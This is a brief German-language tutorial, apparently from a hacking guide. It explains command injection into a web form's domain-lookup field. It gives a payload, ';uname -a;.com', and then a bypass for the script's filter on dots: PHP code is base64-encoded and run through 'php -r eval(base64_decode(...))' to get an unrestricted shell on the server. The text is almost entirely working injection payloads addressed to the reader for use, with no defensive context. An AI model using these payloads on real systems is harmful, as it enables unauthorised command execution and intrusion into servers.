Im Feld folgendes eingeben:
;uname -a;.com
Das Skript verlangt am Ende der Eingabe eine unterstützte Domain mit Punkt und Domainname. Werden weitere Punkte irgendwo in das Feld eingegeben, ignoriert das Skript die Anfrage. Das bedeutet, daß wir nur eine Shell mit stark eingeschränkter Funktion haben. Geben wir jetzt zum Beispiel "ls .." ein, würden wir nicht das darüberliegende Verzeichnis zu sehen bekommen, sondern nichts.
So umgehen wir das:
Wir haben Zugriff auf den php-Interpreter und können mit Hilfe des Parameters -r php-Code direkt in der Kommandozeile ausführen. Um die Restriktion mit den Punkten zum umgehen hilft uns die Funktion "base64_decode". In einem base64-String kommen nämlich keine Punkte vor.
Nehmen wir jetzt diesen Code:
system("ls ../");
Den Codieren wir jetzt mit Hilfe eines Tools in base64:
c3lzdGVtKCJscyAuLi8iKTs
(eventuell müssen = Zeichen am Ende entfernt werden)
Jetzt geben wir unser fertiges Kommando in das Feld ein:
;php -r "eval(base64_decode("c3lzdGVtKCJscyAuLi8iKTs"));";.com
und wir haben keine Einschränkungen mehr.